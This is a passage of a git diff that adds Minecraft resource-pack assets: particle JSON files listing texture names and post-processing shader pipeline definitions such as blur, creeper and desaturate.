b/src/assets/minecraft/particles/damage_indicator.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:damage" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/dolphin.json b/src/assets/minecraft/particles/dolphin.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/dolphin.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/dragon_breath.json b/src/assets/minecraft/particles/dragon_breath.json new file mode 100644 index 00000000..e65716e3 --- /dev/null +++ b/src/assets/minecraft/particles/dragon_breath.json @@ -0,0 +1,7 @@ +{ + "textures": [ + "minecraft:generic_5", + "minecraft:generic_6", + "minecraft:generic_7" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/dripping_honey.json b/src/assets/minecraft/particles/dripping_honey.json new file mode 100644 index 00000000..6a657af2 --- /dev/null +++ b/src/assets/minecraft/particles/dripping_honey.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_hang" + ] +} diff --git a/src/assets/minecraft/particles/dripping_lava.json b/src/assets/minecraft/particles/dripping_lava.json new file mode 100644 index 00000000..987e9f30 --- /dev/null +++ b/src/assets/minecraft/particles/dripping_lava.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_hang" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/dripping_obsidian_tear.json b/src/assets/minecraft/particles/dripping_obsidian_tear.json new file mode 100644 index 00000000..6a657af2 --- /dev/null +++ b/src/assets/minecraft/particles/dripping_obsidian_tear.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_hang" + ] +} diff --git a/src/assets/minecraft/particles/dripping_water.json b/src/assets/minecraft/particles/dripping_water.json new file mode 100644 index 00000000..987e9f30 --- /dev/null +++ b/src/assets/minecraft/particles/dripping_water.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_hang" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/dust.json b/src/assets/minecraft/particles/dust.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/dust.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/effect.json b/src/assets/minecraft/particles/effect.json new file mode 100644 index 00000000..3be9c3a9 --- /dev/null +++ b/src/assets/minecraft/particles/effect.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:effect_7", + "minecraft:effect_6", + "minecraft:effect_5", + "minecraft:effect_4", + "minecraft:effect_3", + "minecraft:effect_2", + "minecraft:effect_1", + "minecraft:effect_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/elder_guardian.json b/src/assets/minecraft/particles/elder_guardian.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/elder_guardian.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/enchant.json b/src/assets/minecraft/particles/enchant.json new file mode 100644 index 00000000..d2175f03 --- /dev/null +++ b/src/assets/minecraft/particles/enchant.json @@ -0,0 +1,30 @@ +{ + "textures": [ + "minecraft:sga_a", + "minecraft:sga_b", + "minecraft:sga_c", + "minecraft:sga_d", + "minecraft:sga_e", + "minecraft:sga_f", + "minecraft:sga_g", + "minecraft:sga_h", + "minecraft:sga_i", + "minecraft:sga_j", + "minecraft:sga_k", + "minecraft:sga_l", + "minecraft:sga_m", + "minecraft:sga_n", + "minecraft:sga_o", + "minecraft:sga_p", + "minecraft:sga_q", + "minecraft:sga_r", + "minecraft:sga_s", + "minecraft:sga_t", + "minecraft:sga_u", + "minecraft:sga_v", + "minecraft:sga_w", + "minecraft:sga_x", + "minecraft:sga_y", + "minecraft:sga_z" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/enchanted_hit.json b/src/assets/minecraft/particles/enchanted_hit.json new file mode 100644 index 00000000..9dfa4dad --- /dev/null +++ b/src/assets/minecraft/particles/enchanted_hit.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:enchanted_hit" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/end_rod.json b/src/assets/minecraft/particles/end_rod.json new file mode 100644 index 00000000..4fdc55ff --- /dev/null +++ b/src/assets/minecraft/particles/end_rod.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:glitter_7", + "minecraft:glitter_6", + "minecraft:glitter_5", + "minecraft:glitter_4", + "minecraft:glitter_3", + "minecraft:glitter_2", + "minecraft:glitter_1", + "minecraft:glitter_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/entity_effect.json b/src/assets/minecraft/particles/entity_effect.json new file mode 100644 index 00000000..3be9c3a9 --- /dev/null +++ b/src/assets/minecraft/particles/entity_effect.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:effect_7", + "minecraft:effect_6", + "minecraft:effect_5", + "minecraft:effect_4", + "minecraft:effect_3", + "minecraft:effect_2", + "minecraft:effect_1", + "minecraft:effect_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/explosion.json b/src/assets/minecraft/particles/explosion.json new file mode 100644 index 00000000..6e3e151a --- /dev/null +++ b/src/assets/minecraft/particles/explosion.json @@ -0,0 +1,20 @@ +{ + "textures": [ + "minecraft:explosion_0", + "minecraft:explosion_1", + "minecraft:explosion_2", + "minecraft:explosion_3", + "minecraft:explosion_4", + "minecraft:explosion_5", + "minecraft:explosion_6", + "minecraft:explosion_7", + "minecraft:explosion_8", + "minecraft:explosion_9", + "minecraft:explosion_10", + "minecraft:explosion_11", + "minecraft:explosion_12", + "minecraft:explosion_13", + "minecraft:explosion_14", + "minecraft:explosion_15" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/explosion_emitter.json b/src/assets/minecraft/particles/explosion_emitter.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/explosion_emitter.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/falling_dust.json b/src/assets/minecraft/particles/falling_dust.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/falling_dust.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/falling_honey.json b/src/assets/minecraft/particles/falling_honey.json new file mode 100644 index 00000000..2732837e --- /dev/null +++ b/src/assets/minecraft/particles/falling_honey.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_fall" + ] +} diff --git a/src/assets/minecraft/particles/falling_lava.json b/src/assets/minecraft/particles/falling_lava.json new file mode 100644 index 00000000..520ad48b --- /dev/null +++ b/src/assets/minecraft/particles/falling_lava.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_fall" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/falling_nectar.json b/src/assets/minecraft/particles/falling_nectar.json new file mode 100644 index 00000000..2732837e --- /dev/null +++ b/src/assets/minecraft/particles/falling_nectar.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_fall" + ] +} diff --git a/src/assets/minecraft/particles/falling_obsidian_tear.json b/src/assets/minecraft/particles/falling_obsidian_tear.json new file mode 100644 index 00000000..2732837e --- /dev/null +++ b/src/assets/minecraft/particles/falling_obsidian_tear.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_fall" + ] +} diff --git a/src/assets/minecraft/particles/falling_water.json b/src/assets/minecraft/particles/falling_water.json new file mode 100644 index 00000000..520ad48b --- /dev/null +++ b/src/assets/minecraft/particles/falling_water.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_fall" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/firework.json b/src/assets/minecraft/particles/firework.json new file mode 100644 index 00000000..9e4709bc --- /dev/null +++ b/src/assets/minecraft/particles/firework.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:spark_7", + "minecraft:spark_6", + "minecraft:spark_5", + "minecraft:spark_4", + "minecraft:spark_3", + "minecraft:spark_2", + "minecraft:spark_1", + "minecraft:spark_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/fishing.json b/src/assets/minecraft/particles/fishing.json new file mode 100644 index 00000000..49f427bc --- /dev/null +++ b/src/assets/minecraft/particles/fishing.json @@ -0,0 +1,8 @@ +{ + "textures": [ + "minecraft:splash_0", + "minecraft:splash_1", + "minecraft:splash_2", + "minecraft:splash_3" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/flame.json b/src/assets/minecraft/particles/flame.json new file mode 100644 index 00000000..f506424d --- /dev/null +++ b/src/assets/minecraft/particles/flame.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:flame" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/flash.json b/src/assets/minecraft/particles/flash.json new file mode 100644 index 00000000..9d842205 --- /dev/null +++ b/src/assets/minecraft/particles/flash.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:flash" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/happy_villager.json b/src/assets/minecraft/particles/happy_villager.json new file mode 100644 index 00000000..f9f9746a --- /dev/null +++ b/src/assets/minecraft/particles/happy_villager.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:glint" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/heart.json b/src/assets/minecraft/particles/heart.json new file mode 100644 index 00000000..686a2dcf --- /dev/null +++ b/src/assets/minecraft/particles/heart.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:heart" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/instant_effect.json b/src/assets/minecraft/particles/instant_effect.json new file mode 100644 index 00000000..7ec70d32 --- /dev/null +++ b/src/assets/minecraft/particles/instant_effect.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:spell_7", + "minecraft:spell_6", + "minecraft:spell_5", + "minecraft:spell_4", + "minecraft:spell_3", + "minecraft:spell_2", + "minecraft:spell_1", + "minecraft:spell_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/item.json b/src/assets/minecraft/particles/item.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/item.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/item_slime.json b/src/assets/minecraft/particles/item_slime.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/item_slime.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/item_snowball.json b/src/assets/minecraft/particles/item_snowball.json new file mode 100644 index 00000000..9e26dfee --- /dev/null +++ b/src/assets/minecraft/particles/item_snowball.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/src/assets/minecraft/particles/landing_honey.json b/src/assets/minecraft/particles/landing_honey.json new file mode 100644 index 00000000..3af906fe --- /dev/null +++ b/src/assets/minecraft/particles/landing_honey.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_land" + ] +} diff --git a/src/assets/minecraft/particles/landing_lava.json b/src/assets/minecraft/particles/landing_lava.json new file mode 100644 index 00000000..89230de9 --- /dev/null +++ b/src/assets/minecraft/particles/landing_lava.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_land" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/landing_obsidian_tear.json b/src/assets/minecraft/particles/landing_obsidian_tear.json new file mode 100644 index 00000000..3af906fe --- /dev/null +++ b/src/assets/minecraft/particles/landing_obsidian_tear.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:drip_land" + ] +} diff --git a/src/assets/minecraft/particles/large_smoke.json b/src/assets/minecraft/particles/large_smoke.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/large_smoke.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/lava.json b/src/assets/minecraft/particles/lava.json new file mode 100644 index 00000000..da6979fe --- /dev/null +++ b/src/assets/minecraft/particles/lava.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:lava" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/mycelium.json b/src/assets/minecraft/particles/mycelium.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/mycelium.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/nautilus.json b/src/assets/minecraft/particles/nautilus.json new file mode 100644 index 00000000..6b9eafdf --- /dev/null +++ b/src/assets/minecraft/particles/nautilus.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:nautilus" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/note.json b/src/assets/minecraft/particles/note.json new file mode 100644 index 00000000..8097a3d7 --- /dev/null +++ b/src/assets/minecraft/particles/note.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:note" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/poof.json b/src/assets/minecraft/particles/poof.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/poof.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/portal.json b/src/assets/minecraft/particles/portal.json new file mode 100644 index 00000000..f970e447 --- /dev/null +++ b/src/assets/minecraft/particles/portal.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_0", + "minecraft:generic_1", + "minecraft:generic_2", + "minecraft:generic_3", + "minecraft:generic_4", + "minecraft:generic_5", + "minecraft:generic_6", + "minecraft:generic_7" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/rain.json b/src/assets/minecraft/particles/rain.json new file mode 100644 index 00000000..49f427bc --- /dev/null +++ b/src/assets/minecraft/particles/rain.json @@ -0,0 +1,8 @@ +{ + "textures": [ + "minecraft:splash_0", + "minecraft:splash_1", + "minecraft:splash_2", + "minecraft:splash_3" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/reverse_portal.json b/src/assets/minecraft/particles/reverse_portal.json new file mode 100644 index 00000000..f970e447 --- /dev/null +++ b/src/assets/minecraft/particles/reverse_portal.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_0", + "minecraft:generic_1", + "minecraft:generic_2", + "minecraft:generic_3", + "minecraft:generic_4", + "minecraft:generic_5", + "minecraft:generic_6", + "minecraft:generic_7" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/smoke.json b/src/assets/minecraft/particles/smoke.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/smoke.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/sneeze.json b/src/assets/minecraft/particles/sneeze.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/sneeze.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/soul.json b/src/assets/minecraft/particles/soul.json new file mode 100644 index 00000000..08defaea --- /dev/null +++ b/src/assets/minecraft/particles/soul.json @@ -0,0 +1,15 @@ +{ + "textures": [ + "minecraft:soul_0", + "minecraft:soul_1", + "minecraft:soul_2", + "minecraft:soul_3", + "minecraft:soul_4", + "minecraft:soul_5", + "minecraft:soul_6", + "minecraft:soul_7", + "minecraft:soul_8", + "minecraft:soul_9", + "minecraft:soul_10" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/soul_fire_flame.json b/src/assets/minecraft/particles/soul_fire_flame.json new file mode 100644 index 00000000..6064eacb --- /dev/null +++ b/src/assets/minecraft/particles/soul_fire_flame.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:soul_fire_flame" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/spit.json b/src/assets/minecraft/particles/spit.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/spit.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/splash.json b/src/assets/minecraft/particles/splash.json new file mode 100644 index 00000000..49f427bc --- /dev/null +++ b/src/assets/minecraft/particles/splash.json @@ -0,0 +1,8 @@ +{ + "textures": [ + "minecraft:splash_0", + "minecraft:splash_1", + "minecraft:splash_2", + "minecraft:splash_3" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/squid_ink.json b/src/assets/minecraft/particles/squid_ink.json new file mode 100644 index 00000000..27126109 --- /dev/null +++ b/src/assets/minecraft/particles/squid_ink.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:generic_7", + "minecraft:generic_6", + "minecraft:generic_5", + "minecraft:generic_4", + "minecraft:generic_3", + "minecraft:generic_2", + "minecraft:generic_1", + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/sweep_attack.json b/src/assets/minecraft/particles/sweep_attack.json new file mode 100644 index 00000000..3b9fe789 --- /dev/null +++ b/src/assets/minecraft/particles/sweep_attack.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:sweep_0", + "minecraft:sweep_1", + "minecraft:sweep_2", + "minecraft:sweep_3", + "minecraft:sweep_4", + "minecraft:sweep_5", + "minecraft:sweep_6", + "minecraft:sweep_7" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/totem_of_undying.json b/src/assets/minecraft/particles/totem_of_undying.json new file mode 100644 index 00000000..4fdc55ff --- /dev/null +++ b/src/assets/minecraft/particles/totem_of_undying.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:glitter_7", + "minecraft:glitter_6", + "minecraft:glitter_5", + "minecraft:glitter_4", + "minecraft:glitter_3", + "minecraft:glitter_2", + "minecraft:glitter_1", + "minecraft:glitter_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/underwater.json b/src/assets/minecraft/particles/underwater.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/underwater.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/warped_spore.json b/src/assets/minecraft/particles/warped_spore.json new file mode 100644 index 00000000..ca698ca4 --- /dev/null +++ b/src/assets/minecraft/particles/warped_spore.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/particles/white_ash.json b/src/assets/minecraft/particles/white_ash.json new file mode 100644 index 00000000..5590ac4d --- /dev/null +++ b/src/assets/minecraft/particles/white_ash.json @@ -0,0 +1,5 @@ +{ + "textures": [ + "minecraft:generic_0" + ] +} diff --git a/src/assets/minecraft/particles/witch.json b/src/assets/minecraft/particles/witch.json new file mode 100644 index 00000000..7ec70d32 --- /dev/null +++ b/src/assets/minecraft/particles/witch.json @@ -0,0 +1,12 @@ +{ + "textures": [ + "minecraft:spell_7", + "minecraft:spell_6", + "minecraft:spell_5", + "minecraft:spell_4", + "minecraft:spell_3", + "minecraft:spell_2", + "minecraft:spell_1", + "minecraft:spell_0" + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/shaders/post/antialias.json b/src/assets/minecraft/shaders/post/antialias.json new file mode 100644 index 00000000..bc31af30 --- /dev/null +++ b/src/assets/minecraft/shaders/post/antialias.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "antialias", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/art.json b/src/assets/minecraft/shaders/post/art.json new file mode 100644 index 00000000..6d6c7ec5 --- /dev/null +++ b/src/assets/minecraft/shaders/post/art.json @@ -0,0 +1,64 @@ +{ + "targets": [ + "0", + "1" + ], + "passes": [ + { + "name": "blobs2", + "intarget": "minecraft:main", + "outtarget": "0" + }, + { + "name": "outline_watercolor", + "intarget": "0", + "outtarget": "minecraft:main" + }, + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "1", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.8, 0.0 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "1", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 0.8 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + }, + { + "name": "outline_combine", + "intarget": "0", + "outtarget": "1", + "auxtargets": [ + { + "name": "OutlineSampler", + "id": "minecraft:main" + } + ] + }, + { + "name": "blit", + "intarget": "1", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/bits.json b/src/assets/minecraft/shaders/post/bits.json new file mode 100644 index 00000000..7236746c --- /dev/null +++ b/src/assets/minecraft/shaders/post/bits.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "bits", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/blobs.json b/src/assets/minecraft/shaders/post/blobs.json new file mode 100644 index 00000000..d6260aa2 --- /dev/null +++ b/src/assets/minecraft/shaders/post/blobs.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blobs", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/blobs2.json b/src/assets/minecraft/shaders/post/blobs2.json new file mode 100644 index 00000000..3464ae30 --- /dev/null +++ b/src/assets/minecraft/shaders/post/blobs2.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blobs2", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/blur.json b/src/assets/minecraft/shaders/post/blur.json new file mode 100644 index 00000000..bca04d5e --- /dev/null +++ b/src/assets/minecraft/shaders/post/blur.json @@ -0,0 +1,37 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "blur", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 20.0 ] + } + ] + } + ] +} diff --git a/src/assets/minecraft/shaders/post/bumpy.json b/src/assets/minecraft/shaders/post/bumpy.json new file mode 100644 index 00000000..0870985d --- /dev/null +++ b/src/assets/minecraft/shaders/post/bumpy.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "bumpy", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/color_convolve.json b/src/assets/minecraft/shaders/post/color_convolve.json new file mode 100644 index 00000000..9f002121 --- /dev/null +++ b/src/assets/minecraft/shaders/post/color_convolve.json @@ -0,0 +1,20 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "color_convolve", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { "name": "Saturation", "values": [ 1.4 ] } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/creeper.json b/src/assets/minecraft/shaders/post/creeper.json new file mode 100644 index 00000000..da503f1a --- /dev/null +++ b/src/assets/minecraft/shaders/post/creeper.json @@ -0,0 +1,41 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "color_convolve", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "RedMatrix", + "values": [ 0.0, 0.0, 0.0 ] + }, + { + "name": "GreenMatrix", + "values": [ 0.3, 0.59, 0.11 ] + }, + { + "name": "BlueMatrix", + "values": [ 0.0, 0.0, 0.0 ] + } + ] + }, + { + "name": "bits", + "intarget": "swap", + "outtarget": "minecraft:main", + "uniforms": [ + { + "name": "Resolution", + "values": [ 16.0 ] + }, + { + "name": "MosaicSize", + "values": [ 4.0 ] + } + ] + } + ] +} diff --git a/src/assets/minecraft/shaders/post/deconverge.json b/src/assets/minecraft/shaders/post/deconverge.json new file mode 100644 index 00000000..4eb2b8db --- /dev/null +++ b/src/assets/minecraft/shaders/post/deconverge.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "deconverge", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/desaturate.json b/src/assets/minecraft/shaders/post/desaturate.json new file mode 100644 index 00000000..675018fa --- /dev/null +++ b/src/assets/minecraft/shaders/post/desaturate.json @@ -0,0 +1,23 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "color_convolve", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "Saturation", + "values": [ 0.2 ] + } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/entity_outline.json b/src/assets/minecraft/shaders/post/entity_outline.json new file mode 100644 index 00000000..e53ff3db --- /dev/null +++ b/src/assets/minecraft/shaders/post/entity_outline.json @@ -0,0 +1,48 @@ +{ + "targets": [ + "swap", + "final" + ], + "passes": [ + { + "name": "entity_outline", + "intarget": "final", + "outtarget": "swap" + }, + { + "name": "blur", + "intarget": "swap", + "outtarget": "final", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 1.0, 0.0 ] + }, + { + "name": "Radius", + "values": [ 2.0 ] + } + ] + }, + { + "name": "blur", + "intarget": "final", + "outtarget": "swap", + "uniforms": [ + { + "name": "BlurDir", + "values": [ 0.0, 1.0 ] + }, + { + "name": "Radius", + "values": [ 2.0 ] + } + ] + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "final" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/flip.json b/src/assets/minecraft/shaders/post/flip.json new file mode 100644 index 00000000..e3824357 --- /dev/null +++ b/src/assets/minecraft/shaders/post/flip.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "flip", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/fxaa.json b/src/assets/minecraft/shaders/post/fxaa.json new file mode 100644 index 00000000..83292b79 --- /dev/null +++ b/src/assets/minecraft/shaders/post/fxaa.json @@ -0,0 +1,17 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "fxaa", + "intarget": "minecraft:main", + "outtarget": "swap" + }, + { + "name": "blit", + "intarget": "swap", + "outtarget": "minecraft:main" + } + ] +} diff --git a/src/assets/minecraft/shaders/post/green.json b/src/assets/minecraft/shaders/post/green.json new file mode 100644 index 00000000..5d0af6c9 --- /dev/null +++ b/src/assets/minecraft/shaders/post/green.json @@ -0,0 +1,41 @@ +{ + "targets": [ + "swap" + ], + "passes": [ + { + "name": "color_convolve", + "intarget": "minecraft:main", + "outtarget": "swap", + "uniforms": [ + { + "name": "RedMatrix", + "values": [ 0.0, 0.0, 0.0 ] + }, + { + "name": "GreenMatrix", + "values": [ 0.3, 0.59, 0.11 ] + }, + { + "name": "BlueMatrix", + "values": [ 0.0, 0.0, 0.0 ] + } + ] + }, + { + "name": "bits", + "intarget": 